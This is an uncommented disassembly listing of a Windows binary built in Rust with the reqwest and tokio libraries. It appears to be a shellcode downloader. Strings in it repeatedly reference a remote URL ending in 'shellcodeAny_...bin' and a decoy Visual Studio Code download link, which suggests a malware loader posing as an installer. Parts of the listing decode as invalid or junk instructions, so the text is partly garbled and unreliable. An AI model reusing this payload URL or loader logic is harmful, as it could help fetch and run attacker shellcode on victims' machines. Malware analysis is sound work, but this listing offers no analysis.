mov r8, qword [rbp + 0x440]
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400e49b0
test rdi, rdi
je 0x1400e49b0
mov r8, rdx
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400e49b0
mov rax, qword [rbp + 0x3b0]
mov rcx, qword [rbp + 0x3b8]
call qword [rax + 0x18]
lea rcx, [rbp + 0x3f0]
call fcn.140106aa0
mov rax, qword [rbp + 0x410]
test bl, 1
jne 0x1400e5743
test rax, rax
je 0x1400e55ac
mov rcx, qword [rbp + 0x418]
call qword [rax + 0x18]
cmp dword [rbp + 0x180], 2
mov rdi, qword [rbp + 0x48]
lea rbx, [rbp + 0x1f0]
je 0x1400e44d0
lea rcx, [rbp + 0x180]
call fcn.1400e6ec0
jmp 0x1400e44d0
test rax, rax
jne 0x1400e6aec
call fcn.14012ce50
jmp 0x1400e454f
mov rcx, qword [rbp + 0x50]
mov rcx, qword [rcx + 8]
lock inc qword [rcx]
jle 0x1400e6aba
mov qword [rbp + 0x180], 0
mov qword [rbp + 0x188], rcx
mov qword [rbp + 0x190], 0
mov qword [rbp + 0x198], rax
xorps xmm0, xmm0
lea rax, [rbp + 0x1a0]
movups xmmword [rax], xmm0
mov qword [rbp + 0x1b0], 8
mov qword [rbp + 0x1b8], 0
mov qword [rbp + 0x1c0], rdi
mov qword [rbp + 0x430], rdi
mov rax, qword [rbp + 0x180]
mov rcx, qword [rbp + 0x188]
mov rdx, qword [rbp + 0x190]
mov r8, qword [rbp + 0x198]
movups xmm1, xmmword [rbp + 0x1a0]
movaps xmmword [rbp + 0x410], xmm1
mov qword [rbp + 0x400], rdx
mov qword [rbp + 0x408], r8
mov qword [rbp + 0x3f0], rax
mov qword [rbp + 0x3f8], rcx
mov rax, qword [rbp + 0x1b0]
mov qword [rbp + 0x420], rax
mov rax, qword [rbp + 0x1b8]
mov qword [rbp + 0x428], rax
cmp dword [rbp + 0x3f0], 1
lea r15, [0x140163210]
je case.0x1400c2307.383
cmp qword [rbp + 0x400], 0
jne 0x1400e6d02
mov rax, qword [rbp + 0x58]
mov r14, qword [rax + 0x10]
mov qword [rbp + 0x400], 0xffffffffffffffff
mov rdi, qword [rbp + 0x408]
mov qword [rbp + 0x408], 0
test rdi, rdi
je 0x1400e6d0e
mov qword [rbp + 0x400], 0
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
test eax, eax
je 0x1400e5770
cmp eax, 1
lea rsi, str.REQWEST_URLhttps:__nc.bmexcellentfocus.net_uf_shellcodeAny_20240812042929113.bin
je 0x1400e57a4
mov rcx, rdi
call fcn.1400e21c0
jmp 0x1400e67c6
test rax, rax
je 0x1400e5752
mov rcx, qword [rbp + 0x418]
call qword [rax + 0x18]
cmp dword [rbp + 0x180], 2
je 0x1400e679b
lea rcx, [rbp + 0x180]
call fcn.1400e6ec0
jmp 0x1400e679b
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd8]
lea rdx, [0x1400e4110]
call fcn.1400ed020
mov byte [rsi + 0x128], 1
lea rsi, str.REQWEST_URLhttps:__nc.bmexcellentfocus.net_uf_shellcodeAny_20240812042929113.bin
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0x110]
mov qword [rbp + 0x3e8], rcx
lea rcx, [rbp + 0x3f0]
mov qword [rax + 0x110], rcx
mov rax, qword [rbp + 0x3f8]
lea rcx, [rax + 0x10]
mov byte [rax + 0xb0], 1
lea rdx, [0x140168938]
mov qword [rbp + 0x3b0], rdx
mov qword [rbp + 0x3b8], rcx
lea rcx, [rbp + 0x3b0]
mov qword [rbp + 0x1c8], rcx
mov qword [rbp + 0x1d0], rcx
mov qword [rbp + 0x1d8], 0
lea r13, [r14 + 8]
lea rcx, [r14 + 0x28]
mov qword [rbp + 0x440], rcx
lea rcx, [r14 + 0x118]
mov qword [rbp + 0x3c8], rcx
invalid
enter 3, 0
xorps xmm6, xmm6
xor ecx, ecx
xchg byte [rax + 0xb0], cl
test cl, cl
je 0x1400e6310
cmp qword [rbp + 0x400], 0
jne 0x1400e6ad4
mov qword [rbp + 0x400], 0xffffffffffffffff
mov rcx, qword [rbp + 0x408]
test rcx, rcx
je 0x1400e5880
call fcn.1400e21c0
mov rax, qword [rbp + 0x400]
inc rax
jmp 0x1400e5882
xor eax, eax
mov qword [rbp + 0x408], rdi
mov qword [rbp + 0x400], rax
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx ebx, byte [rax + 0x128]
cmp ebx, 2
je 0x1400e59a0
cmp ebx, 1
lea rdi, [rbp + 0x1f0]
je 0x1400e58f3
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd8]
lea rdx, [0x1400e4110]
call fcn.1400ed020
mov byte [rsi + 0x128], 1
lea rsi, str.REQWEST_URLhttps:__nc.bmexcellentfocus.net_uf_shellcodeAny_20240812042929113.bin
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx ebx, byte [rax + 0x124]
movzx ecx, byte [rax + 0x125]
mov byte [rbp + 0x3d0], cl
mov word [rax + 0x124], 0x8001
movzx eax, byte [r14 + 0x148]
test eax, eax
je 0x1400e59b7
cmp eax, 3
jne 0x1400e6a0b
movzx eax, byte [r14 + 0x140]
test eax, eax
je 0x1400e5b3b
cmp eax, 3
jne 0x1400e6aae
nop word cs:[rax + rax]
cmp dword [r13], 2
jne 0x1400e5bea
mov rax, qword [r14 + 0x10]
mov qword [r14 + 0x10], 0
test rax, rax
je 0x1400e6954
mov qword [rbp + 0x60], 3
mov qword [rbp + 0x68], rax
jmp 0x1400e5cf0
lea rdi, [rbp + 0x1f0]
movzx eax, byte [r14 + 0x148]
test eax, eax
jne 0x1400e5933
mov qword [rbp + 0x1f0], r15
mov qword [rbp + 0x1f8], 1
mov qword [rbp + 0x200], 8
movups xmmword [rbp + 0x208], xmm6
mov rcx, rdi
call fcn.1400f7560
mov qword [rbp + 0x1f0], 0
mov rcx, rdi
call qword [sym.imp.kernel32.dll_GetSystemTimePreciseAsFileTime]
mov r8, qword [rbp + 0x1f0]
mov rax, r8
movabs rdx, 0x19db1ded53e8000
sub rax, rdx
neg rax
movabs rcx, 0xfe624e212ac18000
add rcx, r8
cmp r8, rdx
cmovl rcx, rax
mov rax, rcx
movabs rdx, 0xd6bf94d5e57a42bd
mul rdx
shr rdx, 0x17
imul eax, edx, 0x989680
sub ecx, eax
movabs rax, 0x19db1ded53e7fff
cmp r8, rax
jle 0x1400e6c89
imul rax, rdx, 0x3e8
mov ecx, ecx
mov edx, 0xd1b71759
imul rcx, rdx
shr rcx, 0x2d
add rcx, rax
mov qword [rbp + 0x60], rcx
mov qword [rbp + 0x68], 0
mov qword [rbp - 0x50], r12
lea rax, [0x14000c350]
mov qword [rbp - 0x48], rax
lea rax, str.Time:
mov qword [rbp + 0x1f0], rax
mov qword [rbp + 0x1f8], 2
mov qword [rbp + 0x210], 0
lea rax, [rbp - 0x50]
mov qword [rbp + 0x200], rax
mov qword [rbp + 0x208], 1
mov rcx, rdi
call fcn.1400f7560
mov qword [rbp + 0x1f0], r15
mov qword [rbp + 0x1f8], 1
mov qword [rbp + 0x200], 8
movups xmmword [rbp + 0x208], xmm6
mov rcx, rdi
call fcn.1400f7560
mov qword [rbp + 0x1f0], r15
mov qword [rbp + 0x1f8], 1
mov qword [rbp + 0x200], 8
movups xmmword [rbp + 0x208], xmm6
mov rcx, rdi
call fcn.1400f7560
mov ecx, 5
call fcn.1400edc80
mov byte [r14 + 0x140], 0
lea rdi, [rbp + 0x1f0]
mov rcx, rdi
call fcn.1400b1220
mov rcx, rdi
call fcn.1400b1650
test rax, rax
jne 0x1400e68f7
mov qword [r14], rdx
mov rcx, r12
lea r8, str.https:__code.visualstudio.com_download
call fcn.1400e2cb0
cmp dword [rbp + 0x60], 2
jne 0x1400e5ba0
mov qword [rbp + 0x1f0], 2
mov rax, qword [rbp + 0x68]
mov rsi, qword [rbp + 0x170]
mov qword [rbp + 0x1f8], rax
lock dec qword [rsi]
je 0x1400e5bbb
jmp 0x1400e5bc7
mov rsi, qword [rbp + 0x170]
mov rcx, rdi
mov rdx, rsi
mov r8, r12
call fcn.1400b3d40
lock dec qword [rsi]
jne 0x1400e5bc7
lea rcx, [rbp + 0x170]
call fcn.1400cbea0
mov r8d, 0x138
mov rcx, r13
mov rdx, rdi
call fcn.140121660
lea rsi, str.REQWEST_URLhttps:__nc.bmexcellentfocus.net_uf_shellcodeAny_20240812042929113.bin
cmp dword [r13], 2
jge 0x1400e5be3
add cl, byte [rdi]
invalid
invalid
std
invalid
invalid
mov rcx, r12
mov rdx, r13
lea r8, [rbp + 0x1c8]
call fcn.1400b5e40
cmp qword [rbp + 0x60], 4
jne 0x1400e5cf0
mov byte [r14 + 0x140], 3
mov r12b, 3
mov sil, 1
mov byte [r14 + 0x148], r12b
cmp bl, 2
lea r12, [rbp + 0x60]
je 0x1400e5c9c
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x1400e5c9c
cmp eax, 1
je 0x1400e5c76
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rdi + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x124], bl
movzx ecx, byte [rbp + 0x3d0]
mov byte [rax + 0x125], cl
cmp qword [rbp + 0x400], 0
jne 0x1400e6ae0
mov qword [rbp + 0x400], 0xffffffffffffffff
mov rdi, qword [rbp + 0x408]
mov qword [rbp + 0x408], 0
test rdi, rdi
je 0x1400e6abc
mov qword [rbp + 0x400], 0
test sil, sil
jne 0x1400e6310
jmp 0x1400e6615
mov r8d, 0x98
lea rcx, [rbp - 0x50]
mov rdx, r12
call fcn.140121660
cmp dword [r13], 2
jne 0x1400e5d90
mov rdi, qword [r14 + 0x10]
test rdi, rdi
je 0x1400e6002
invalid
mov r12, qword [rdi + 0x58]
test r12, r12
je 0x1400e5d59
mov rsi, qword [rdi + 0x60]
mov rax, qword [rsi]
test rax, rax
je 0x1400e5d34
mov rcx, r12
call rax
cmp qword [rsi + 8], 0
je 0x1400e5d59
cmp qword [rsi + 0x10], 0x11
jb 0x1400e5d47
mov r12, qword [r12 - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rdi]
lea r12, [rbp + 0x60]
neg rax
jo 0x1400e5d7a
jae 0x1400e5d7a
mov r8, qword [rdi + 8]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rsi, str.REQWEST_URLhttps:__nc.bmexcellentfocus.net_uf_shellcodeAny_20240812042929113.bin
jmp 0x1400e5ff0
cmp byte [r14 + 0x100], 0xa
jb 0x1400e5dba
cmp qword [r14 + 0x110], 0
je 0x1400e5dba
mov r8, qword [r14 + 0x108]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [r14 + 0x90], 0
je 0x1400e5dda
mov r8, qword [r14 + 0x98]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
cmp qword [r14 + 0x80], 0
je 0x1400e5df7
mov r8, qword [r14 + 0x78]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, qword [r14 + 0x58]
test rsi, rsi
je 0x1400e5e50
mov rdi, qword [r14 + 0x50]
add rdi, 0x30
jmp 0x1400e5e2b
mov rax, qword [rdi - 0x18]
mov rdx, qword [rdi - 0x10]
mov r8, qword [rdi - 8]
mov rcx, rdi
call qword [rax + 0x10]
add rdi, 0x68
dec rsi
je 0x1400e5e50
mov rax, qword [rdi + 0x10]
test rax, rax
je 0x1400e5e10
lea rcx, [rdi + 0x28]
mov rdx, qword [rdi + 0x18]
mov r8, qword [rdi + 0x20]
call qword [rax + 0x10]
jmp 0x1400e5e10
cmp qword [r14 + 0x48], 0
je 0x1400e5e6a
mov r8, qword [r14 + 0x50]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [r14 + 0x70]
test rdi, rdi
je 0x1400e5e9b
mov rsi, qword [r14 + 0x68]
add rsi, 0x38
nop dword [rax + rax]
mov rax, qword [rsi - 0x18]
mov rdx, qword [rsi - 0x10]
mov r8, qword [rsi - 8]
mov rcx, rsi
call qword [rax + 0x10]
add rsi, 0x48
dec rdi
jne 0x1400e5e80
cmp qword [r14 + 0x60], 0
je 0x1400e5eb5
mov r8, qword [r14 + 0x68]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [r13], 0
je 0x1400e5ed7
mov rax, qword [r14 + 0x10]
test rax, rax
je 0x1400e5ed7
mov rdx, qword [r14 + 0x18]
mov r8, qword [r14 + 0x20]
mov rcx, qword [rbp + 0x440]
call qword [rax + 0x10]
mov rsi, qword [r14 + 0xf8]
test rsi, rsi
je 0x1400e5f20
mov rdi, qword [r14 + 0xf0]
add rdi, 8
jmp 0x1400e5ef9
add rdi, 0x58
dec rsi
je 0x1400e5f20
cmp qword [rdi - 8], 0
je 0x1400e5ef0
mov r8, qword [rdi]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400e5ef0
cmp qword [r14 + 0xe8], 0
je 0x1400e5f40
mov r8, qword [r14 + 0xf0]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbp + 0x3c8]
mov rax, qword [rax]
lock dec qword [rax]
jne 0x1400e5f5c
mov rcx, qword [rbp + 0x3c8]
call fcn.1400d8320
mov rdi, qword [r14 + 0x120]
mov rsi, qword [r14 + 0x128]
mov rax, qword [rsi]
test rax, rax
je 0x1400e5f77
invalid
mov rcx, rdi
call rax
cmp qword [rsi + 8], 0
je 0x1400e5f9b
cmp qword [rsi + 0x10], 0x11
jb 0x1400e5f89
mov rdi, qword [rdi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [r14 + 0x138]
test rdi, rdi
lea rsi, str.REQWEST_URLhttps:__nc.bmexcellentfocus.net_uf_shellcodeAny_20240812042929113.bin
je 0x1400e6002
mov rcx, rdi
call fcn.140106ed0
lea rcx, [rdi + 8]
test byte [rdi], 1
je 0x1400e5fd0
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x1400e5fe0
call fcn.1400d6a00
jmp 0x1400e5fe0
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x1400e5fe0
call fcn.14002ded0
nop
mov rax, qword [rdi + 0x48]
test rax, rax
je 0x1400e5ff0
mov rcx, qword [rdi + 0x50]
call qword [rax + 0x18]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp dword [rbp - 0x50], 3
jne 0x1400e6050
mov qword [rbp + 0x60], r15
mov qword [rbp + 0x68], 1
mov dword [rbp + 0x68], 1
mov qword [rbp + 0x70], 8
movups xmmword [rbp + 0x78], xmm6
mov rcx, r12
call fcn.1400f7560
mov ecx, 3
call fcn.1400edc80
lea rcx, [rbp - 0x50]
call fcn.1400e1030
mov rdx, qword [r14]
lea rdi, [rbp + 0x1f0]
lock add dword [rax], eax
add cl, ch
invalid
sti
invalid
invalid
mov qword [rbp + 0x60], r15
mov qword [rbp + 0x68], 1
mov qword [rbp + 0x70], 8
movups xmmword [rbp + 0x78], xmm6
mov rcx, r12
call fcn.1400f7560
lea rcx, [rbp - 0x50]
call fcn.1400e1030
mov bh, 0xaf
invalid
dec dword [rcx - 0x75]
invalid
lock dec qword [rax]
lea rdi, [rbp + 0x1f0]
jne 0x1400e6091
mov rcx, r14
call fcn.1400d8320
mov byte [r14 + 0x140], 1
mov qword [rbp + 0x3d8], rsi
mov qword [rbp + 0x3e0], 0xb
add byte [rax], al
lea rdx, [0x1401632ab]
mov qword [rbp - 0x50], rdx
mov qword [rbp - 0x48], 0x45
mov rcx, rsi
call fcn.1400fc650
test rax, rax
jne 0x1400e6b17
mov r8d, 0xb
mov rcx, rdi
mov rdx, rsi
call fcn.1400f1b70
mov rdi, qword [rbp + 0x1f0]
mov rax, rdi
neg rax
jo 0x1400e5b2c
mov rsi, qword [rbp + 0x1f8]
mov r8, qword [rbp + 0x200]
test byte [rbp + 0x208], 1
jne 0x1400e61a0
test r8, r8
je 0x1400e61a0
lea rax, [rsi + r8]
mov rdx, rsi
jmp case.0x140016398.3642
add rdx, 2
cmp rcx, rax
cmovne rcx, rdx
nop dword [rax + rax]
mov rdx, rcx
cmp rcx, rax
je 0x1400e61a0
lea rcx, [rdx + 1]
movzx r9d, byte [rdx]
test r9b, r9b
jns 0x1400e6130
cmp r9b, 0xe0
jb 0x1400e6120
cmp r9b, 0xed
jne 0x1400e616e
cmp rcx, rax
je 0x1400e61a0
lea rcx, [rdx + 2]
cmp rcx, rax
je 0x1400e61a0
cmp byte [rdx + 1], 0x9f
ja 0x1400e61be
add rdx, 3
mov rcx, rdx
jmp 0x1400e6130
add rdx, 2
cmp rcx, rax
cmove rdx, rcx
xor ecx, ecx
cmp rdx, rax
setne cl
add rcx, rdx
cmp r9b, 0xf0
jb 0x1400e6130
xor edx, edx
cmp rcx, rax
setne dl
add rcx, rdx
jmp 0x1400e6130
lea rcx, [rbp - 0x50]
mov rdx, rsi
call fcn.140003800
xor eax, eax
cmp rax, qword [rbp - 0x50]
jno 0x1400e61e0
mov ecx, 5
call fcn.1400edc80
test rdi, rdi
je 0x1400e5b2c
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400e5b2c
mov rax, qword [rbp - 0x40]
mov qword [rbp + 0x70], rax
movups xmm0, xmmword [rbp - 0x50]
movaps xmmword [rbp + 0x60], xmm0
call fcn.140003d60
call fcn.140001850
mov r12, rax
and eax, 3
cmp eax, 1
jne 0x1400e626a
mov qword [rbp + 0x3c0], rsi
mov rsi, qword [r12 - 1]
mov r15, qword [r12 + 7]
mov rax, qword [r15]
test rax, rax
je 0x1400e6223
mov rcx, rsi
call rax
cmp qword [r15 + 8], 0
je 0x1400e6247
cmp qword [r15 + 0x10], 0x11
jb 0x1400e6235
mov rsi, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
xchg ecx, eax
add al, 0
dec r12
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
lea r15, [0x140163210]
mov rsi, qword [rbp + 0x3c0]
lea rcx, [rbp + 0x1f0]
call fcn.140001c30
dec dword [rax - 0x7d]
mov ebp, 0x1f0
invalid
je 0x1400e6292
mov rcx, qword [rbp + 0x1f8]
test rcx, rcx
je 0x1400e6292
mov rax, qword [rcx]
call qword [rax + 0x10]
mov ecx, 5
call fcn.1400edc80
call fcn.140004cc0
mov qword [rbp + 0x1f0], r15
mov qword [rbp + 0x1f8], 1
mov qword [rbp + 0x200], 8
movups xmmword [rbp + 0x208], xmm6
lea rcx, [rbp + 0x1f0]
call fcn.1400f7560
lea rcx, [rbp + 0x60]
invalid
call fcn.140001630
mov r12b, 1
test rdi, rdi
je 0x1400e62fb
mov rcx, qword [0x14019f258]
mov r8, rsi
xor esi, esi
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp case.0x1400dd9c6.3856
xor esi, esi
jmp case.0x1400dd9c6.3856
mov r8, qword [rbp + 0x3f8]
mov esi, dword [r8 + 0x40]
test esi, esi
test byte [rdi], 0x84
invalid
add dword [rax], eax
invalid
nop word cs:[rax + rax]
cmp byte [rdi + 0x68], 0
jne 0x1400e65bc
inc dword [rdi + 0x60]
mov rdx, qword [rbp + 0x3f8]
add rdx, 0x10
mov rcx, rdi
call fcn.1400fd8c0
test rax, rax
je 0x1400e6550
cmp qword [rbp + 0x400], 0
jne 0x1400e6ad4
mov r12, rax
mov qword [rbp + 0x400], 0xffffffffffffffff
mov rcx, qword [rbp + 0x408]
test rcx, rcx
je 0x1400e63a0
call fcn.1400e21c0
mov rax, qword [rbp + 0x400]
inc rax
jmp 0x1400e63a2
xor eax, eax
mov qword [rbp + 0x408], rdi
mov qword [rbp + 0x400], rax
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx edi, byte [rax + 0x128]
cmp edi, 2
je 0x1400e6430
cmp edi, 1
je 0x1400e6401
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
mov edi, dword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
lea rdx, [0x1400e4110]
call fcn.1400ed020
mov byte [rdi + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx edi, byte [rax + 0x124]
movzx ebx, byte [rax + 0x125]
mov word [rax + 0x124], 0x8001
jmp 0x1400e6430
mov rax, qword [r12 + 0x10]
mov rcx, r12
call qword [rax]
cmp dil, 2
lea r12, [rbp + 0x60]
je 0x1400e64bd
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x1400e64bd
cmp eax, 1
je 0x1400e649d
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov r15, qword [rcx + rax*8]
lea rcx, [r15 + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [r15 + 0x128], 1
lea r15, [0x140163210]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x124], dil
mov byte [rax + 0x125], bl
cmp qword [rbp + 0x400], 0
jne 0x1400e6ae0
mov qword [rbp + 0x400], 0xffffffffffffffff
mov rdi, qword [rbp + 0x408]
mov qword [rbp + 0x408], 0
test rdi, rdi
je 0x1400e6abc
mov qword [rbp + 0x400], 0
dec esi
jne 0x1400e6330
mov r8, qword [rbp + 0x3f8]
add r8, 0x10
lea rcx, [rbp + 0x3f8]
mov rdx, rdi
call fcn.1400fe000
mov rdi, rax
mov rax, qword [rbp + 0x3f8]
lea rsi, str.REQWEST_URLhttps:__nc.bmexcellentfocus.net_uf_shellcodeAny_20240812042929113.bin
xor ecx, ecx
xchg byte [rax + 0xb0], cl
test cl, cl
jne 0x1400e584a
jmp 0x1400e6310
movabs rax, 0x7fffffffffffffff
cmp qword [rbp + 0x410], rax
lea r12, [rbp + 0x60]
jae 0x1400e6d73
mov r8, qword [rbp + 0x3f8]
add r8, 0x10
cmp qword [rbp + 0x428], 0
lea rsi, str.REQWEST_URLhttps:__nc.bmexcellentfocus.net_uf_shellcodeAny_20240812042929113.bin
lea rcx, [rbp + 0x3f8]
mov rdx, rdi
je 0x1400e6598
invalid
call fcn.1400fe000
jmp 0x1400e659d
call fcn.1400fdac0
mov rdi, rax
mov rax, qword [rbp + 0x3f8]
xor ecx, ecx
xchg byte [rax + 0xb0], cl
test cl, cl
jne 0x1400e584a
jmp 0x1400e6310
cmp qword [rbp + 0x400], 0
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rbp + 0x3e8]
mov qword [rax + 0x110], rcx
mov bl, 1
jne 0x1400e6d67
mov qword [rbp + 0x400], 0xffffffffffffffff
mov rcx, qword [rbp + 0x408]
test rcx, rcx
je 0x1400e664f
call fcn.1400e21c0
mov rax, qword [rbp + 0x400]
inc rax
jmp 0x1400e6651
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov rcx, qword [rbp + 0x3e8]
mov qword [rax + 0x110], rcx
xor ebx, ebx
mov qword [rbp + 0x400], 0xffffffffffffffff
mov rcx, qword [rbp + 0x408]
test rcx, rcx
jne 0x1400e6604
xor eax, eax
mov qword [rbp + 0x408], rdi
mov qword [rbp + 0x400], rax
lea rcx, [rbp + 0x3f0]
call fcn.1400fd3e0
insd dword [rdi], dx
add dword [rax], eax
test byte [rbp + 0x3f0], 1
je 0x1400e671a
mov rax, qword [rbp + 0x3f8]
lock dec qword [rax]
jne 0x1400e6691
lea rcx, [rbp + 0x3f8]
call fcn.1400d6910
mov rsi, qword [rbp + 0x408]
test rsi, rsi
je 0x1400e6744
mov rcx, qword [rsi]
test rcx, rcx
je 0x1400e66d0
mov rax, 0xffffffffffffffc0
lock xadd qword [rcx], rax
cmp rax, 0x3f
jbe 0x1400e6d7f
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x1400e66d0
mov rax, qword [rcx + 0x10]
call qword [rax + 0x10]
lea rdi, [rsi + 0x18]
mov rcx, rdi
call fcn.1400e26f0
mov rax, qword [rsi + 0x18]
lock dec qword [rax]
jne 0x1400e66ee
mov rcx, rdi
call fcn.14002ddf0
mov rax, qword [rsi + 8]
test rax, rax
je 0x1400e6706
lock dec qword [rax]
jne 0x1400e6706
lea rcx, [rsi + 8]
call fcn.1400d6c40
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400e6744
mov rax, qword [rbp + 0x3f8]
lock dec qword [rax]
jne 0x1400e6733
lea rcx, [rbp + 0x3f8]
call fcn.14002ded0
mov rcx, qword [rbp + 0x408]
test rcx, rcx
je 0x1400e6744
call fcn.1400e21c0
mov rsi, qword [rbp + 0x428]
test rsi, rsi
je 0x1400e6773
mov rdi, qword [rbp + 0x420]
add rdi, 8
nop dword [rax + rax]
mov rax, qword [rdi - 8]
mov rcx, qword [rdi]
call qword [rax + 0x18]
add rdi, 0x10
dec rsi
jne 0x1400e6760
cmp qword [rbp + 0x418], 0
je 0x1400e6793
mov r8, qword [rbp + 0x420]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test bl, bl
jne 0x1400e6d26
movsd xmm6, qword [rbp + 0x3a0]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
test eax, eax
je 0x1400e67f1
cmp eax, 1
je 0x1400e681e
lea rax, [0x1401687f8]
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_41dd149fd6a6a06795fc6b9f54cb49af2f61775flibrary_std_src_threadlocal.rs
lea r9, [0x140168660]
lea r8, [rbp + 0x3d8]
mov edx, 0x46
call fcn.140122900
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rsi + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0x126], 2
je 0x1400e6c71
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x126], 2
cmp dword [rax + 0x118], 0
jne 0x1400e6866
call fcn.1400ff510
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov dword [rax + 0x118], 1
movlps qword [rax + 0x11c], xmm6
lea rcx, [rbp + 0x388]
call fcn.1401015c0
mov rax, qword [rbp + 0x388]
cmp rax, 2
je 0x1400e68dc
test rax, rax
je 0x1400e68c3
mov rax, qword [rbp + 0x390]
lock dec qword [rax]
jne 0x1400e68dc
lea rcx, [rbp + 0x390]
call fcn.1400d6a00
jmp 0x1400e68dc
mov rax, qword [rbp + 0x390]
lock dec qword [rax]
jne 0x1400e68dc
lea rcx, [rbp + 0x390]
call fcn.14002ded0
movaps xmm6, xmmword [rbp + 0x450]
add rsp, 0x4e8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov qword [rbp + 0x1f0], rdx
lea rax, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_async_implclient.rs
mov qword [rsp + 0x20], rax
lea rcx, str.Client::new__
lea r9, [0x14015d2b0]
lea r8, [rbp + 0x1f0]
mov edx, 0xd
call fcn.140122900
lea rax, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimepark.rsinconsistent_park_state__actual_
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140168660]
lea r8, [rbp + 0x3d8]
mov edx, 0x2b
call fcn.140122900
lea rcx, str.Pending_error_polled_more_than_once
